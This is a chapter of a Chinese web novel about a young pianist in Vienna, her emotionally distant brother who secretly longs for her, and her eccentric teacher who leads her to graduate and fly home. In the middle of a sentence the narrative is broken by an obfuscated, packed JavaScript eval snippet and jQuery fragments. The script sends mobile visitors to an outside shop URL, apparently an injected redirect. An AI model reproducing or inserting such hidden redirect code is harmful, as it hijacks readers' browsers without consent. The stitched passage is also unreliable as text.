宋温宁讨厌谎言，它像一道裂口，轻易就能照亮一段关系中的罅隙。
可她唯独不想与兄长产生罅隙。
十二点的钟声还在耳畔回荡，那道挺拔的背影在视线中越来越小，眼见着就要穿过缠满银瀑马蹄金的拱门，离开花房。
宋温宁上前两步，急急叫住他：“哥哥！”
脚步定住，宋祈言回望过来。
他心绪纷乱，步伐虽缓，步距却大，此时此刻，他与妹妹之间已拉开不小的距离，足以让她看不清他的表情。
女孩的步调和语气一样急切，带着一种雏鸟被抛弃般的茫然，他看见她急促上前。
一步、两步，后退停住。
——如同他从前教导的那样。
他的妹妹是个过于敞亮的孩子，她的世界和琴键一样非黑即白，不理解什么叫成年人的社交回避。
以至于她十六岁正式社交亮相以前，宋祈言不得不反复交代她。
好几年过去，她现在显然学得很好。
大概是学得太好了，所以她卑劣的兄长才能借助这遥远的距离贪婪地凝视她。
凝视她肩颈洁白而优美的线条，凝视她那身勾勒出姣好身材的绿裙，宛如一身流动的春天。
他的妹妹站在洁白的山茶花下，目光纯粹又干净，连月光都为她明亮，照得他满心的阴暗无处可逃。
他的妹妹。
妹妹。
唇齿间尝到血的味道，宋祈言勾出一个笑来，用最温柔的语气呼唤她：“又怎么了，我的小寿星？”
兄长的语气是那样温和，平淡如常。但不知是不是隔得太远看不清表情的原因，宋温宁忽然产生出一种陌生感。
她飞快将这个念头从脑海中摇走，捏住掌心问：“哥哥，你处理事情需要多久呢？”
声音清脆，嫩得像晨露中的白栀子，带着年轻的孤勇和生涩。
“我不确定。”
“两个小时够吗？或者三个小时？”
“我真的不能确定，温温，别等我好吗？玩累了就去睡觉，今天允许你晚睡。”
无论怎么追问，兄长的回答似乎都那样四平八稳，根本得不到一个确定的结果。
“我不。”宋温宁摇摇头，“我会等你的，哥哥。”
“我会一直等着你来陪我跳舞。三小时也好，五小时也罢，我会一直等下去。”
像从前你等着我那样。
后半句话没说出来就被咽回去。
真的很奇怪，灰皮诺明明是那样柔和的白葡萄酒，在这一瞬间，她居然在蜂蜜和桃子的香气之间品出一抹苦涩的味道。
气氛依然沉默，宋温宁调整表情，露出一个灿烂笑容，用最活泼的语气撒娇：“你会来的，对吗？”
过了好久，她才听见回答。
“哥哥尽量，好吗？”
他离开了，没有再回头。
-
等了多久？
或许七小时？或许八小时？
宋温宁不知道。
她想，等兄长过来，她就高高兴兴跟他跳舞，大大方方地告诉他自己的烦恼，倾诉她的不安。她的哥哥那样好，一定会好好安慰她、开导她。
他们永永远远是世界上最好的一对兄妹。
可宋祈言没有来。
花房里没有时钟，时间都显得模糊，宋温宁等到太阳高高升起，才坐在台阶上迷迷糊糊闭上了眼睛。
再次醒来已过正午，却发现自己躺在柔软的床上。
床头柜上搁着碗醒酒汤，下面压着一张卡纸——
[临时回淮海出差，归期未定，记得喝醒酒汤，好好吃饭，好好睡觉。]
钢笔手写，字迹熟悉又清晰，碗里面的汤还是温的，放碗的人显然没走多久。
这是他头一次没有当面告知地离开她。
宋温宁自小就是个缺乏安全感的孩子，从前宋祈言每一次出门，都会当面跟她告别，约定好回来的时间，承诺好归来的礼物。
在这样的期待感之中，连等待都显得不那么漫长。
可这一次，他既没有当面告别，也没有一个明确的归期。
——就这样逃一般地离开了。
兄长在刻意疏远她，宋温宁终于无可避免地接受了这个事实。
茫然如云絮笼上心头，眼睛瞥向抽屉，她抽开，取出闲置已久的手机。
宋温宁很少用手机，她的老师认为现代社会过快、过于商业的信息流会影响音乐的纯粹，平日里都有刻意限制使用。
聊天框里的日期还停留在很久以前，宋温宁一个字一个字打，磕磕绊绊半天才想好发什么。
温温还在弹棉花：【哥哥，你为什么要离开我？】
回复来得很快。
yan：【临时有个出差，回来给你带蛋糕好吗？】
yan：【你最喜欢的Opera】
她问的是这个吗？她说的离开和兄长回的离开是一个东西吗？
宋祈言20岁以交换的名义陪同她出国，22岁接手海外事务，那是宋温宁出国的头几年，一边跟随老师学琴，一边学语言。
德语对她来说陌生又困难，分不清那么多阴阳词汇，也弄不明白什么大舌音小舌音。
好在她有个相当靠谱的哥哥，每个小长假，她都窝在兄长的办公室里写作业，宋祈言会一边办公一边辅导。
淮海宋家传承百年，战乱时代也曾为了筹措资金在欧洲东奔西顾，又因为吃过这种苦头，早早就开始往海外发展，因此到了现在，偶尔也会充当企业出海的桥梁。
在宋温宁的印象里，哥哥的办公室总是有很多拜访的人，宋祈言总是温润的、和煦的。
像一块八风不动的玉，无论结果是好是坏，很少有人能在他面前红脸。
那时的宋温宁对这种能力异常惊奇，她心性耿直，脑子里总是装满许许多多的问题，宋祈言对此几乎是鼓励的。
他有问必答，教导她什么叫怀柔、什么叫迂回、什么叫不战而屈人之兵，什么叫君子藏器于身，待时而动。
她在他这里学到了许多父母没有教给她的道理，她还记得兄长反复跟她强调——
温温，你是女孩子，社交场合一定要学会拒绝，学会不动声色地将话题推回去。
她学得很好，至少装样子装得很好。
所有人都说宋家的小姐年纪虽小，却已有几分兄长的风度，进退有据，不卑不亢。
可唯独没想到，有一天，她居然会发现兄长将这一套用在自己身上。
脚踩在地毯上，触感柔软，宋温宁捧着手机坐在床边，恍惚间好像又回到了九岁那年的冬天，光脚站在二楼，在楼梯的缝隙间偷偷看他。
那时她不知道怎么找个台阶下楼，现在她不知该如何继续追问。
手指徒劳删删改改，最后只打出两个字：【骗子。】
这一次，对面沉默了很久，久到宋温宁以为他不会回了，屏幕重新亮起。
yan：【嗯。】
yan：【是哥哥的错，是哥哥没有正面回答温温的问题。】
【温温长大了，已经长成了能分辨谎言的大人，所以哥哥不想骗你。
正因为不想骗你，所以没有办法回答你，哥哥保证，有一天，一定会给你一个正式的答复。】
【但是在这期间，温温一定要好好吃饭，好好睡觉，不要用自己身体的痛苦来惩罚哥哥好吗？】
握着手机的手在抖，她的兄长是那样会作弊的一个人，连残忍都包裹在温柔之中。
yan：【无论答案是什么，有一点你一定要有自信。】
yan：【温温，我爱你。】
yan：【乖乖等我回家好吗？】
宋温宁再也打不出一个字来。
-
“Checkmate!”（将军）
老师欢快的声音响起，宋温宁回过神来，这才发现棕白棋盘上已满盘皆输。
她长长叹口气，惆怅得像是吐出一口秋日缠绵的风。
“是是是，我输了。”
棋子一丢，宋温宁向后仰躺在椅子上，望着琴房雕花的屋顶。
“怪老头，你欺负我一个象棋新手到底有什么意思？好好的钢琴课我们为什么在下棋？”
她今日状态着实不好，草草用完午饭，第一次像个网瘾少年一样，带着手机来到了教室。
此刻手机就摆在棋盘边上，兄长的消息还停留在最后一条。而她亲爱的老师在看见她的那一刻就放下了谱子，诚恳地邀请她下棋。
宋温宁输得彻彻底底，毫不意外。
“谁说钢琴课一定要弹钢琴的？”瓦伦汀反而乐呵呵的，“并且课嘛，多上一节少上一节没关系的。”
“哦？”宋温宁抬起头来，目光从天花板转向对面那个白胡子蓝眼睛的奥地利老头，“这样说，是不是我这个书多读一年少读一年也没关系？”
“我已经读了六年了！六年什么概念你知道吗？！都从学院小师妹变成大师姐了！”
十四岁那年，她在柴青赛上获得第一名，接到了当时作为评委的瓦伦汀的橄榄枝，成为他的关门弟子。
作为当世排行前五的钢琴家，瓦伦汀古怪的脾气和他高超的技艺一样出名。
十六岁预科班读完特招进入大学时，她还怀揣着相当美好的愿景，希望能在奥地利度过充实的三年。
谁成想，现在哪里只是三年，实际上已经过了五年，甚至有往七年发展的趋势！
她的目光愈发幽怨，恨不得钉到对面的老顽童身上。
瓦伦汀哈哈大笑：“从情感表达上讲，你还是个不会动的小baby呢，我可不舍得让你毕业。”
他手里还捏着刚刚吃掉的那枚国王，将它放回棋盘：“不过呀，兴许能破得了这盘棋就能毕业也说不定。”
“Nora，试试看？”
宋温宁重新坐正，望向棋盘。
这近乎是盘死局。
敌方的进攻较从前更加锐利，而她向来只会防守，且善于防守，所有能想到的策略都已用完。
她没说话，盯着棋盘反复地瞧，从下午瞧到傍晚。
瓦伦汀没打扰她，中途出去买了两个汉堡两杯可乐，师徒二人安静地坐在他的私人琴房吃垃圾食品。
这几乎算是两人的小秘密，瓦伦汀笑眯眯地看着宋温宁一边吃一边思考。
“想出来了吗？”
手指将汉堡包装袋捏紧，宋温宁诚实地摇头。
“哦，没关系。”瓦伦汀站起来，从包里取出新带的琴谱，“那我们先开始练琴吧！”
宋温宁：……
刚刚是谁说钢琴课不用练琴的？
她摇摇脑袋，认命地坐到钢琴前，翻开谱子开始看。
出乎意料的，这首曲子既不是她擅长的巴赫、拉威尔，也不是她超级不擅长的钢琴诗人肖邦。
这甚至已经脱离了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912593|213186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
古典的范畴，是一首现代钢琴曲——《ICARUS》。
“这首曲子的灵感和名字一样，取材于希腊神话中的人物伊卡洛斯，传说中他和父亲一起被关在岛屿之上。”
“为了逃脱，伊卡洛斯的父亲用羽毛和蜡做了两幅翅膀，并告诫伊卡洛斯：别飞得太低，海水会浸湿翅膀；也别飞得太高，太阳会融化蜂蜡。”
“但是伊卡洛斯是那样喜爱太阳，无惧地冲向了它，最终折断了翅膀，坠入大海。”
像每一次开新谱一样，瓦伦汀用最绵长的语气向她介绍背景，然后说：“意外地很适合今天的你，要试试吗？兴许能找到一些下棋的灵感。”
宋温宁此时已经完整地过了一遍曲谱，耳朵自动过滤掉他最后那句废话，非常诚恳地说：“老师，真的要弹这种我超级不擅长的曲子吗？”
她是真的不擅长这种情感充沛的风格。
从技术上讲，宋温宁几乎是顶级的，就像很多国内出生的天才琴童一样，她的十指自小就得到了足够多也足够好的锻炼。
但她确实不善于情感表达，细腻多思的肖邦也好，这首满含深情追寻自由的《ICARUS》也罢，宋温宁看这些曲子都像隔着层玻璃。
在印象派的拉威尔或者克制一些的巴赫的部分曲目上，她表现更好，是一个十足的偏才。
瓦伦汀只是摇摇脑袋：“你别急，我故事没讲完。”
“世人都说伊卡洛斯愚昧且狂妄，明明只要接受飞得低一些就能渡海，何苦要去到离太阳那么近的地方？这首曲子却给出了不同的答案。”
宋温宁微微怔住。
明明接受低飞就能渡海，为什么要执着于靠近太阳？
为什么，要那么执着于靠近呢？
瓦伦汀单手倚在三角琴上问她：“Nora，要听一听别人怎么飞的吗？”
沉默许久的人点点头：“好。”
-
练琴的日子相当枯燥，瓦伦汀推掉了所有的演出邀请，宋温宁也从早到晚泡在琴房里。
像从前每次练习不擅长的曲子一样，她会被瓦伦汀拿着曲谱暴击脑袋，绕着教学楼被追着打。
可那颗沮丧已久的心却从未那样松快，一点点挣脱枷锁，和伊卡洛斯一样在天空中飞起来。
飞起来，飞高一点——
如果未曾知道太阳的美好，那当然可以低空飞行；可是太阳明明将她拥入过怀中，又怎能忍受远离？
高一些，再高一些——
“咚——”最后一个音弹完，纤细有力的食指随着琴键的余韵颤抖，宋温宁在恍然中睁开眼睛。
在琴房挨打的第七天，她终于完整地、流利地弹完了整首曲子。
师徒二人重新对坐在棋盘两侧，宋温宁抬手，掀翻了整个棋盘。
“如果棋盘内没有解法，那就掀翻它，按照我的节奏来。”少女抬眼，露出生日以来第一个笑容，“老师，这是我的答案。”
掌声响起，她听见老师含笑的声音：
“恭喜出师，mylittleone.”
-
在瓦伦汀的帮助下，宋温宁成功请了三个月长假。
机场人潮涌动，她非常真挚地对自己的老师道了声感谢：
“我一直以为您超级不靠谱，没想到还是能靠谱一回的！”
白胡子蓝眼睛的老头只点头不说话，乐呵呵送她进去，将一本希腊神话塞进她手里。
顺利过了安检，身后忽然传来异常响亮的回应：
“Nora！不用谢我！我帮你报名了肖赛！”
拉着行李箱的手定住，宋温宁转过头来，表情茫然。
肖赛？是她知道的那个肖邦国际钢琴比赛吗？是那个只能弹她最不擅长的肖邦的钢琴比赛吗？
“既然都决定飞了——还需要害怕飞得更高吗——”
声音掩映在人潮里，小老头站在围栏之外狂挥手。
停留在原地的女孩终于重新动了，她带着笑挥手回应，头也不回地向前走。
飞机平稳升上天空，宋温宁这才有空翻看老顽童送的这本希腊神话。
里面夹了张字条，正好是伊卡洛斯故事的那一页。
字条上只有一个问题：
「伊卡洛斯在翅膀融化的那一刻是什么表情呢？」
宋温宁拿起笔，在下面补上了自己的答案。
「我想，她在笑吧。」
-
淮海和维也纳时差六个小时，飞机落地时，淮海临近傍晚。
机场此起彼伏的乡音令人恍然，宋温宁调整手机镜头方向，笨拙地比耶拍了张照，同编辑的信息一起发给了兄长。
彼时彼刻，宋祈言刚刚陪同调任至淮海的任聿平打完一程高尔夫。
四周早就清了场，一向最会看眼色的助理陈述却一反常态地出现在他视线里。
宋祈言找了个托词起身回会馆，陈述将他的私人手机递给他。
私人账号上联系人不多，此时这一条却恰恰来自其中最不可能主动给他发消息的人。
——他的妹妹。
小姑娘自拍得笨拙，大半张都挤在右侧，手里拿着张机票，背景是人潮涌动的机场。
她的眼睛亮闪闪，照片附带着新的消息——
温温还在弹棉花：【我不想等待了，我来亲自要一个答案。】
【哥哥，我回国了。】
宋祈言一向游刃有余的表情凝固了。